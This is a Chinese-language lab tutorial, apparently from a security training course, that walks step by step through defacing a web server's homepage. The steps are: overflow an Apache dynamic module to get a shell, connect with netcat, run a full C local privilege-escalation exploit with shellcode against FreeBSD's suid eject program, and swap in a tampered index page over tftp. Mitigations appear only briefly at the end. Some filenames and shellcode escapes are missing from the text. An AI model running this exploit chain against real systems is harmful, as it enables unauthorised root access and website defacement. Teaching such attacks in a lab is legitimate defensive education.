2024年1月6日发(作者:)
Web服务首页篡改
Apache HTTP Server是最流行的开放源码WEB服务器系统之一,它是由Apache
Group开发、发布并支持的。Apache HTTP Server支持静态编译及动态模块加载2种方式,在其某些特定版本中的动态模块存在缓冲区溢出漏洞,攻击者会利用此漏洞达到对WEB服务器进行攻击或执行指定程序的目的。
实验目的
通过本实验使读者了解WEB服务器的安全漏洞以增强安全意识。
实验拓扑
实验准备
向远程Apache 发送精心构造的数据包以引发Apache 动态模块的溢出漏洞,进而打开一个监听端口接收连接。用nc工具连接远程端口获得shell,本地提权后,上传篡改后的主页。
1.下载实验中使用的工具:远程溢出工具 、NetCat 1.11 for Windows (网络瑞士军刀)、Tftpd Server。
【说明】
远程溢出工具
向远程Apache 发送精心构造的数据包以引发Apache 动态模块的溢出漏洞,进而打开一个监听端口接收连接。
NetCat 1.11 for Windows (网络瑞士军刀)
一款小巧精悍的网络实用工具,常用来进行远程shell连接或被动接收连接以提供shell通道,或者用来作为小巧的telnet客户端使用。
Tftpd Server
一款支持tftp协议的服务端工具,用以上传或下载文件(tftp 协议)。
实验步骤
访问目标主机的HTTP服务
步骤说明:
确保输入的协议及地址是正确的
1.打开浏览器,访问目标主机的 HTTP 服务,如:图1
图1
探测目标主机WEB服务信息
步骤说明:
输入 GET /abcdefg HTTP/1.0 并连续输入两次回车(Enter),可以从返回中获取服务器版本信息。
命令中的 abcdefg 是任意字符串,是不存在的页面,会引起404错误。
这么做的理由是 404错误的返回页面内容比较少,便于查看。
1.开启一个命令行窗口,用 程序连接目标主机的 80 端口
命令格式:
目标IP 80
如:图2
图2
用 尝试远程溢出
步骤说明:
命令格式为 -t 目标主机IP地址。
1.运行 ,如:图3
图3
注:
因apache服务为多进程服务,溢出程序可能需要尝试多次搜索地址空间,若失败,请多尝试几次。
溢出成功,用NetCat 连接
步骤说明:
命令格式为 目标主机IP地址 目标端口。
1.如:图4、图5,连接上以后,我们做如下操作:
a). 用 id 命令看当前帐户信息,看到 uid=1001, gid=1001,是普通权限。
b). 用 w 命令看当前有谁在线,看到两个远程登录连接。
c). 用 pwd 命令看当前所在目录。
d). 用 uname -a 看当前操作系统的信息,看到是 FreeBSD 4.8 Release 版本,未打补丁。
e). 切换目录至 /tmp 下,准备编写提权程序。
图4
图5
提升权限
步骤说明:
FreeBSD 老版本上的 eject 程序存在缓冲区溢出漏洞,可被本地程序利用以提升权限。
eject 程序具有suid 位,在有问题的版本中未对用户输入的参数进行有效检测,
导致溢出后eip指向精心构造的shellcode 入口,进而提权成功。
1.编写提权代码,如:图6
图6
图中所用代码如下:
#include
#include
#include
#include
#define BOF_LEN 1260
extern char** environ;
int main( void ) {
char buf[BOF_LEN];
char* ptr;
char* arg[4];
unsigned int ret = 0xbfbfeead;
char shellcode[] = "xebx17x5bx31xc0x88x43x07x89x5bx08x89"
"x43x0cx50x8dx53x08x52x53xb0x3bx50xcd"
"x80xe8xe4xffxffxff/bin/sh";
char envshell[4096];
memset( envshell, 0x90, 4096 );
memcpy( envshell + 4096 - strlen( shellcode ), shellcode,
strlen( shellcode ) );
envshell[4096] = 0x0;
memcpy( envshell, "VULN=", 5 );
putenv( envshell );
memset( buf, 0x41, BOF_LEN - 1 );
*(unsigned int *)(buf + BOF_LEN - 5) = ret;
*(buf + BOF_LEN - 1) = 0x0;
arg[0] = "/usr/local/sbin/eject";
arg[1] = "-t";
arg[2] = buf;
arg[3] = NULL;
execve (arg[0], arg, environ);
return( 0 );
}
2.编译提权代码,运行提权程序,如:图7
用 gcc 编译源代码,然后执行 ./ex,输入 id 命令后可以看到 euid=0,输入whoami
命令可以看到已经是 root了。
当然,现在这样还不是完全的 root 权限,但是对于篡改首页来说已经够了。
进一步提权的详细信息可参看《Linux 系统漏洞利用》这一课的内容。
注:
执行 ex 程序时记得前面的 “./ ”两个符号。
图7
篡改网站首页
步骤说明:
通过使用 /usr/sbin/pkg_info 命令查找 web 服务的配置文件,从配置文件中定位 web 页面的存储根路径,用 Tftpd 实用程序将首页文件从服务器上下载到本地进行修改(篡改),然后再回传到服务器上覆盖原首页文件。
1.寻找web服务器的配置文件存储路径,如:图8
a). 用 /usr/sbin/pkg_info | grep apache 命令查找 apache 包的完整名称。
b). 用 /usr/sbin/pkg_info -p 包完整名称 来查看apache安装的根路径,在图中可以看到是 /usr/local。
c). 用 /usr/sbin/pkg_info -f 包完整名称 | grep 查看配置文件所在的路径,看到是 %D/etc/apache/,
其中的 %D 就是前面得到的 /usr/local。
综上,apache 服务器的配置文件为 /usr/local/etc/apache/。
图8
2.寻找网站页面文件存储路径,如:图9
a). 用 cat /usr/local/etc/apache/ | grep DocumentRoot | grep -v “#”
来查找页面根路径,
如图9,我们得到的路径为:/usr/local/www/data。
b). 用 cd /usr/local/www/data 切换目录到网站页面根路径。
c). 用 ls -al 命令查看首页是否在当前路径下,我们看到 在当前路径下。
注:
UNIX系统的命令行是大小写敏感的,因此输入命令及参数时注意区分大小写 上面的命令中 grep -v ”#”
的含义是排除含”#”的行。
图9
3.用 Tftpd 实用程序传输文件
[将传输到本地]
a). 在本地的windows主机上启动 ,如:图10
图10
b). 在执行 的窗口中将 传输到本地windows主机,如:图11
I). 输入 tftp 命令进入 tftp 客户端程序。
II). 输入connect 本地windows主机IP地址建立连接。
III). 输入binary命令设置传输模式为二进制传输。
IV). 输入put 命令将当前目录下的文件传输到本地windows主机。
图11
c). 我们可以在 程序的 Log Viewer窗口看到传输信息,并在
的同级目录中看到传上来的文件,如:图12
图12
[修改文件]
d). 用编辑工具打开 文件,如记事本,查找“
图13
e). 在
后面插入信息:
height=100px align=center valign=middle>这行内容是被篡改的! |
图14
f). 查找页面编码,修改为简体中文(GB2312),若已为中文编码,则不需要再更改,如:图15及图16
图15
图16
[将修改后的传输到远程主机]
g). 在执行 的窗口中将修改后的 传输到远程主机,如:图17
图17
h). 执行 get 命令将修改完的 文件下载到远端主机,覆盖原文件。
我们可以在 程序的 Log Viewer窗口看到传输信息,如:图18
图18
查看修改后的页面
步骤说明:
我们可以用浏览器访问修改后的页面来查看修改后的效果。
1.打开浏览器,访问目标主机的 HTTP 服务,如:图19
图19
退出root shell,断开连接
1.顺序执行下述操作,如:图20
a). 输入 quit 退出 tftp 客户端程序。
b). 输入 exit 退出通过溢出获得到的 root shell。
c). 再次输入 exit 断开连接。
图20
解决方案
1.对系统进行加固,更新有问题的服务程序。
2.做双向ACL,拒绝非法端口访问。
3.对有问题的内核打补丁或升级内核。


发布评论